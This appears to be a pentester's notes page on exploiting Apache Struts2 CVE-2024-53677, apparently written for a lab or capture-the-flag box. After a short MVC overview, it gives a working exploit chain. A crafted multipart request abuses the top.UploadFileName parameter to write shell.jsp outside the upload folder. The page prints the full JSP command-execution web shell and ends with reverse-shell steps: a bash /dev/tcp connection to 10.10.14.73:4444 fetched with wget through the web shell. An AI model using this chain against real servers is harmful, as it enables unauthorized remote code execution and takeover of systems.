Apache Struts

Open-source framework for building web applications in Java

Follows the Model-View-Controller (MVC) design pattern, which separates the application logic into three main components:

  • Model: Represents the data and business logic.

  • View: Represents the user interface (UI).

  • Controller: Handles user input and interacts with the Model and View.


.action

  • In Struts, .action files are associated with specific controller actions. These actions are typically mapped in struts-config.xml and serve as entry points for specific requests. A .action URL (e.g., /login.action) will invoke a corresponding action class in the server-side code.

  • The .action file usually maps to a Java class that contains the business logic for processing requests, such as form validation, database interactions, and data manipulation.

CVE-2024-53677

Vulnerable Version - Apache Struts2 6.3.0.1

Read about the POC

Exploitation

  • Upload a valid image

  • Send /upload.action to repeater

  • Use OGNL to bypass the content type filters, which Apache Struts uses to process the input data. You need to change name="upload" to name="Upload"

  • The FileUploadInterceptor processes the parameter before handling the image.

Add a new parameter
------WebKitFormBoundaryByiUa3DgmpAkuyAw
Content-Disposition: form-data; name="top.UploadFileName";
../../shell.jsp
  • Notice that the upload path have been updated

  • Now upload this shell or this one

Full Version
------WebKitFormBoundaryub2KLZl7C9o1shdc
Content-Disposition: form-data; name="Upload"; >filename="pfp.jpeg"
Content-Type: image/jpeg

ÿØÿۄ		
<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
      out.println("Command: " + request.getParameter("cmd") + "<BR>");
       Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
       OutputStream os = p.getOutputStream();
       InputStream in = p.getInputStream();
       DataInputStream dis = new DataInputStream(in);
       String disr = dis.readLine();
       while ( disr != null ) {
               out.println(disr); 
               disr = dis.readLine(); 
               }
       }
%>
</pre>
</BODY></HTML>
------WebKitFormBoundaryub2KLZl7C9o1shdc
Content-Disposition: form-data; name="top.UploadFileName"

../../shell.jsp
------WebKitFormBoundaryub2KLZl7C9o1shdc--

Get a reverse shell

Let's create a reverse shell locally first:
echo -ne '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.73/4444 0>&1' > bash.sh
Fire up a python web server
python3 -m http.server 8000
Download it from the web shell
wget+10.10.14.73:8000/bash.sh+-O+/tmp/bash.sh
Set the right privs
chmod+777+/tmp/bash.sh
Execute it
bash /tmp/bash.sh

Last updated